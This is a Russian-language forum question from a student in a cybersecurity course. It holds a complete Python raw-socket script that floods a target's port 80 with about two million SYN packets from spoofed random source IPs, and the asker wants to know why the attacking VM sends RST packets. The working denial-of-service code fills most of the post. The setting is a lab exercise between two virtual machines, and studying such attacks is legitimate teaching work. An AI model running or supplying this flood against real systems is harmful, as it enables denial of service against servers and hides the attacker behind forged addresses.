Python-сокеты, отправляющие неожиданные RST-пакеты во время синфлода - PullRequest
0 голосов
/ 14 ноября 2018

Я пишу код синфузной атаки на курсе по кибербезопасности через программирование на сокете. Я собираюсь отправить много пакетов TCP жертве с флагом SYN, используя замаскированный исходный IP-адрес, но я получаю ошибки.

Мой файл SYN_flood.py:

#!/bin/env python  
# -*- coding: UTF-8 -*-   

# Require running as root 

import socket  
import sys  
import time
import random
from struct import *  

# Ip packet checksum calculation
def checksum(msg):
    s = 0
    # Get 2 bytes each time
    for i in range(0,len(msg),2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]))
        s = s+w
    s = (s>>16) + (s & 0xffff)
    s = ~s & 0xffff 
    return s

# Create Socket
def CreateSocket(source_ip,dest_ip):
    try:  
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        #Provide ip header manually
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    except socket.error, msg:
        print 'Socket create error: ',str(msg[0]),'message: ',msg[1]
        sys.exit()      
    return s

# Make ip header manually
def CreateIpHeader(source_ip, dest_ip):
    packet = '' 
    headerlen = 5
    version = 4
    tos = 0 
    tot_len = 20 + 20
    id = random.randrange(0,65535,1)# A random id
    frag_off = 0
    ttl = 128 
    protocol = socket.IPPROTO_TCP
    check = 10 
    saddr = socket.inet_aton ( source_ip )
    daddr = socket.inet_aton ( dest_ip )
    hl_version = (version << 4) + headerlen
    ip_header = pack('!BBHHHBBH4s4s', hl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
    return ip_header

#Make tcp header
def create_tcp_syn_header(source_ip, dest_ip, dest_port):
    source = random.randint(32000,62000)    # Random source port
    seq = 0 
    ack_seq = 0
    doff = 5 
    # tcp flags
    fin = 0
    syn = 1
    rst = 0
    psh = 0
    ack = 0
    urg = 0
    window = 65535
    check = 0
    urg_ptr = 0
    offset_res = (doff << 4) + 0
    tcp_flags = fin + (syn<<1) + (rst<<2) + (psh<<3) + (ack<<4) + (urg<<5)
    tcp_header = pack('!HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr)

    # Pseudo header
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton( dest_ip )
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header)
    psh = pack('!4s4sBBH', source_address, dest_address, placeholder, protocol, tcp_length);
    psh = psh + tcp_header;  
    tcp_checksum = checksum(psh)

    # Repack tcp header with right checksum
    tcp_header = pack('!HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_ptr)
    return tcp_header

# Randomize source ip 
def randip():
    x = random.randrange(10,200,1)
    y = random.randrange(10,200,1)
    z = random.randrange(10,200,1)
    w = (x+y+z)%254
    ip = str(x)+"."+str(y)+"."+str(z)+"."+str(w)
    return ip

# Pack the ip packet
def makepkt(fakesource, dest_ip, dest_port):
    source_ip = randip()
    ip_header = CreateIpHeader(fakesource, dest_ip)
    tcp_header = create_tcp_syn_header(fakesource, dest_ip,dest_port)
    packet = ip_header + tcp_header
    print 'packetfrom',source_ip,'to',dest_ip,':',dest_port
    return packet

# Send packets through Socket
def attack(dest_ip, dest_port):
    source_ip = '192.168.80.145'
    s = CreateSocket(source_ip, dest_ip)
    for i in range(1,2000000):
        fakesource = randip()
        packet = makepkt(fakesource,dest_ip,dest_port)
        s.sendto(packet, (dest_ip, dest_port))

# Main operation:
ipdest = '192.168.80.133'
portdest = 80
attack(ipdest, portdest)

Жертва - виртуальная машина Windows XP с пакетом обновления 3 (SP3), на которой запущен веб-сервис IIS через порт 80, а ip - 192.168.80.133; Атакующий - виртуальная машина kali3-amd64, ip - 192.168.80.145. Брандмауэр отключен как на виртуальных машинах, так и без программного обеспечения безопасности.

Wireshark показывает, что злоумышленник отправляет множество пакетов SYN, а жертва отвечает на некоторые из пакетов SYN пакетами SYN + ACK. Это второе подтверждение TCP-соединения, но, похоже, злоумышленник активно отправляет RST-пакеты, чтобы закрыть все эти соединения. enter image description here

В этом сценарии злоумышленники не должны были отправлять злоумышленник. Что-то не так в моем скрипте на python или в конфигурации моей среды проблема?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...